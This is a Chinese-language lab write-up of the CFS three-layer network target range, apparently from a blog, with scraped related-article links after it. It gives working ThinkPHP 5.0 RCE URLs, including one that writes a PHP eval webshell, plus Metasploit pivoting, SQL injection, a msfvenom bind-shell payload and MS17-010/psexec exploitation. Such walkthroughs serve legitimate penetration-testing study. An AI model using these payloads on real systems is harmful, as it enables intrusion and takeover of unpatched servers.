一、环境搭建:

根据作者公开的靶机信息整理

共有三个targets,目标是拿下三台主机权限,且是三层的网络环境,内网网段有192.168.22.0/24和192.168.33.0/24,添加两张仅主机模式网卡,配置如下:

虚拟机网卡设置

target1(centos) 双网卡模拟内外网:

外网:192.168.1.3,桥接模式

内网:192.168.22.128,仅主机模式

target2(ubuntu) 双网卡存在两个内网网段:

内网1:192.168.22.22,仅主机模式

内网2:192.168.33.22,仅主机模式

target3(win7) 单网卡仅内网:

内网:192.168.33.33,仅主机模式

开启web服务环境:

宝塔后台登陆地址及密码:

http://靶机外网ip:8888/a768f109/

账号:eaj3yhsl,密码:41bb8fee,根据实际靶机ip,配置即可,我的配置如下:

二、渗透实战:

0x01 target1

信息收集

nmap 192.168.1.3 -sV -T4

访问80端口,发现是thinkphp5.0

②tp5.0 rce Getshell

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):

http://192.168.1.3/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" >shell.php

③MSF上线

我这里使用web_delivery模块一句话上线,因为方便,我懒...

利用蚁剑执行即可上线:

横向移动

查看ip信息,发现有两个网卡

添加路由、socks代理,进行横向移动

添加成功

开启socks5代理

 

存活主机探测

发现一台ip为192168.22.22的主机,并且开启了80端口,应该是web服务

ok,target1就到此结束...

0x02 target2

信息收集

proxychains nmap 192.168.22.22 -sT -T4 -Pn

配置浏览器的socks5代理,访问80端口

是一个叫什么八哥CMS搭建的(没听过...)

目录扫描

proxychains dirb http://192.168.22.22/

扫出一个robots.txt,发现有两个admin的目录

发现是一个后台登陆界面,爆破就先不打算(除非万不得已)

等待了一会dirb的扫描结果,也没其他重要的目录,就从页面源代码收集一下信息吧,竟然直接给出了注入点...

注入-->后台登陆

既然给出了注入点,那就直接sqlmap一把梭

proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch

但是sqlmap一直无法连接url,就像这样....具体啥原因还不清楚...

所以就换成了超级sql注入工具(可配置socks代理)

获取到admin表的账号密码,解密为:123qwe

然后成功登陆后台

模板Getshell

巡视了一下后台的功能点,发现有熟悉的模板功能,发现可以直接修改文件

修改tag下的index.php文件,插入webshell

蚁剑添加socks代理后连接webshell

⑤MSF上线

生成一个bind正向连接的马

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=6666 -f elf -o test.elf

上传到目标服务器

给执行权限,并执行

MSF开启监听,即可收到会话

set payload linux/x86/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.22.22
run

查看网卡配置,发现又多了一个192.168.33.0/24的网段

添加路由和socks代理

添加多一个socks代理,注意要换一个端口

探测存活主机

发现一台192.168.33.33存活主机

0x03 target3

信息探测

proxychains nmap -Pn -sT -T4 192.168.33.33

开放了445和3389,无疑是windows了

漏洞利用

永恒之蓝肯定要试试的,毕竟emm....舒服嘛hahah,注意payload使用bind直连

使用ms17_010_eternalblue打失败了

尝试另一个利用模块psexec的,成功拿下target3

三、总结:

总体来说这个靶机还是学到了挺多的,完整地体现了,是如何一步步利用跳板代理横向到最深处网络...

①Thinkphp5.x Rce漏洞利用,echo写马地注意事项

②MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动

③八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell

④Ms17-010的psexec利用模块的使用

⑤典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络

CFS三层网络环境靶场实战的更多相关文章

  1. 《Python3 网络爬虫开发实战》开发环境配置过程中踩过的坑

    <Python3 网络爬虫开发实战>学习资料:https://www.cnblogs.com/waiwai14/p/11698175.html 如何从墙内下载Android Studio: ...

  2. CTF大赛模拟-CFS三层内网漫游

    CTF大赛模拟-CFS三层内网漫游 环境: 三台虚拟机,三个网络. target 1:192.168.161.178 ,192.168.52.132 (linux) target 2:192.168. ...

  3. Neutron 理解 (6): Neutron 是怎么实现虚拟三层网络的 [How Neutron implements virtual L3 network]

    学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GR ...

  4. 用openvswitch配置跨节点的docker网络环境

    在一篇随笔中,我们已经尝试了在不依赖工具的情况下设置docker的ip,连我都想吐槽,MD单机都这么麻烦,在多机的环境中岂不是要了我的小命! 本文就是为了多机环境中各个节点的容器通信而做的,网络拓朴如 ...

  5. 崔庆才Python3网络爬虫开发实战电子版书籍分享

    资料下载地址: 链接:https://pan.baidu.com/s/1WV-_XHZvYIedsC1GJ1hOtw 提取码:4o94 <崔庆才Python3网络爬虫开发实战>高清中文版P ...

  6. 网络知识--OSI七层网络与TCP/IP五层网络架构及二层/三层网络

    作为一个合格的运维人员,一定要熟悉掌握OSI七层网络和TCP/IP五层网络结构知识. 废话不多说!下面就逐一展开对这两个网络架构知识的说明:一.OSI七层网络协议OSI是Open System Int ...

  7. 网络知识梳理--OSI七层网络与TCP/IP五层网络架构及二层/三层网络(转)

     reference:https://www.cnblogs.com/kevingrace/p/5909719.html https://www.cnblogs.com/awkflf11/p/9190 ...

  8. openstack-- neutron 二/三层网络实现探究

    引出 Neutron 是openstack 中提供网络虚拟化的组件,根据二层网络的实现方式不同(即agent的不同),可以分为Linux bridge的方式,Openvswitch的方式.而且,lay ...

  9. openstack neutron 二/三层网络实现

    引用声明:https://zhangchenchen.github.io/2017/02/12/neutron-layer2-3-realization-discovry/ 一.概述 Neutron是 ...

随机推荐

  1. Qt版本中国象棋开发(四)

    内容:走法产生 中国象棋基础搜索AI, 极大值,极小值剪枝搜索, 静态估值函数 理论基础: (一)人机博弈走法产生: 先遍历某一方的所有棋子,再遍历整个棋盘,得到每个棋子的所有走棋情况(效率不高,可以 ...

  2. [JavaWeb基础] 031.dom4j写入xml的方法

    上一篇我们讲述了dom4j读取xml的4种方法,甚是精彩,那么怎么样写入xml呢?我们直接看下源码实现. public static void main(String[] args) throws E ...

  3. Java中的集合(七)双列集合顶层接口------Map接口架构

    Java中的集合(七)双列集合顶层接口------Map接口 一.Map接口的简介 通过List接口,我们知道List接口下的集合是单列集合,数据存储是单列的结构.Map接口下是一个键值对(key-v ...

  4. 运用惰性删除和定时删除实现可过期的localStorage缓存

    localStorage简介 使用localStorage可以在浏览器中存储键值对的数据.经常被和localStorage一并提及的是sessionStorage,它们都可以在当浏览器中存储键值对的数 ...

  5. Rocket - 断句 - Diplomacy and TileLink from the Rocket Chip

    https://mp.weixin.qq.com/s/rfgptF9YxDpzDoespYtQvA   整理Diplomacy and TileLink from the Rocket Chip这篇文 ...

  6. Chisel3 - Chisel vs. Scala

    https://mp.weixin.qq.com/s/mTmXXBzSizgiigFYVQXKpw     介绍Chisel与Scala的不同与关联.   ​​   一. 层次高低   Chisel是 ...

  7. Javascript中target事件属性,事件的目标节点的获取。

    window.event.srcElement与window.event.target 都是指向触发事件的元素,它是什么就有什么样的属性 srcElement是事件初始化目标html元素对象引用,因为 ...

  8. 面试官:兄弟,说说Java的static关键字吧

    读者乙在上一篇我去系列文章里留言说,"我盲猜下一篇标题是,'我去,你竟然不知道 static 关键字'".我只能说乙猜对了一半,像我这么有才华的博主,怎么可能被读者猜中了心思呢,必 ...

  9. ASP.NET防止自己网站的资源被盗(通过IHttpHandler 带样例说明)

    我这里用的图片被盗举例子 一个正常的网页 <%@ Page Language="C#" AutoEventWireup="true" CodeBehind ...

  10. (Java实现) 子集和问题

    回溯算法也叫试探法,它是一种系统地搜索问题的解的方法.回溯算法的基本思想是:从一条路往前走,能进则进,不能进则退回来,换一条路再试.用回溯算法解决问题的一般步骤为: 1.定义一个解空间,它包含问题的解 ...